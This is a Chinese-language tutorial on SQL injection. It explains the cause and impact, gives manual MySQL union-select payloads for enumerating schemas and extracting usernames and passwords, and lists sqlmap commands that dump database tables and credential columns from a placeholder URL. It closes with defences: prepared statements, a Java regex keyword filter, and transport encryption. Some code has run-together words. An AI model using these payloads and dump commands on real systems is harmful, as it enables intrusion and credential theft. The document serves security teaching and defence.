SQL注入漏洞就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串中,最终达到欺骗服务器执行恶意的SQL命令。
SQL注入漏洞产生需要满足两个条件:
1)参数用户可控:前端传给后端的参数内容是用户可以控制的;
2)参数带入数据库查询:传入的参数拼接到SQL语句,且带入数据库查询。
SQL注入漏洞会导致数据库信息泄露、网页篡改(登陆后台后发布恶意内容)、网站挂马(当拿到webshell时或者获取到服务器的权限以后,可将一些网页木马挂在服务器上,去攻击别人)、私自添加系统账号、读写文件获取webshell等问题。
SQL注入漏洞关键在于注入点的发掘。
1)一般可采用appscan/awvs/burp自动化工具扫描,再人工进行验证;
2)简单验证在输入参数后面加上‘,检查请求响应;
3)可直接使用sqlmap工具(依赖python环境)。常用命令为:sqlmap.py –r xx.txt --level 5 --risk 3 --dbs--batch
手工注入常用语句(以mysql为例):
1)判断是否存在注入and 1=1and 1=2
2)判断有多少列order by n
3)判断数据显示点union select 1,2,3,N
4)查看数据库基本信息union select 1,version(),database()
5)查看数据库有哪些表union select 1,2,group_concat(table_name) from information_schema.tableswhere table_schema=‘security'
6)查看对应表有哪些列union select 1,2,group_concat(column_name) from information_schema.columnswhere table_name=‘users'
7)查看账号密码信息union select 1,group_concat(username),group_concat(password) from users
工具检测注入
sqlmap常用命令:python sqlmap.py -r xx.txt --level 5 --risk 3 --dbs--dbms“Oracle” --batchpython sqlmap.py -u "http://ip/products.asp?id=134" --batch
暴库:python sqlmap.py -u "http://ip/products.asp?id=134" --dbs
暴当前库:python sqlmap.py -u "http://ip/products.asp?id=134" --current-db
暴表:python sqlmap.py -u "http://ip/products.asp?id=134" -D tourdata--tables
暴表列字段:python sqlmap.py -u"http://ip/products.asp?id=134" -Dtourdata-Tuserb–columns
暴表列数据:python sqlmap.py -u"http://ip/products.asp?id=134" -Dtourdata-Tuserb-C"email,Username,userpassword" --dump
分页暴表列数据:python sqlmap.py -u"http://ip/products.asp?id=134" -Dtourdata-Tuserb-C"email,Username,userpassword" --start 1 --stop 10 --dump
解决办法:
1.减少SQL语句拼接,采用SQL预编译PreparedStatement,SQL语句会预编译在数据库系统中,执行计划同样会被缓存起来,它允许数据库做参数化查询。使用预处理语句比普通的查询更快;使用预编译,而其后注入的参数将不会再进行SQL编译。也就是说其后注入进来的参数系统将不会认为它会是一条SQL语句,而默认其是一个参数,参数中的or或者and 等就不是SQL语法保留字了
2.启用SQL关键字过滤定义全局sqlFilter.java,对输入参数进行SQL合规性正则校验;
private static final String reg="(?:')|(?:--)|(/\*(?:.|[\n\r])*?\*/)|(\b(select|update|and|or|delete|insert|trancate|char|into|substr|ascii|declare|exec|count|master|into|drop|execute)\b)";private static final Pattern sqlPattern=Pattern.compile(reg,Pattern.CASE_INSENSITIVE);private staticbooleansqlInjectionCheck(Stringsql){if(sqlPattern.matcher(sql).find()){logger.error("未能通过sqlInjection过滤器");returnfalse;}returntrue;}
3.最好的办法是适用数据传输加密,防止数据被篡改,一旦后台数据解密失败,直接返回无效请求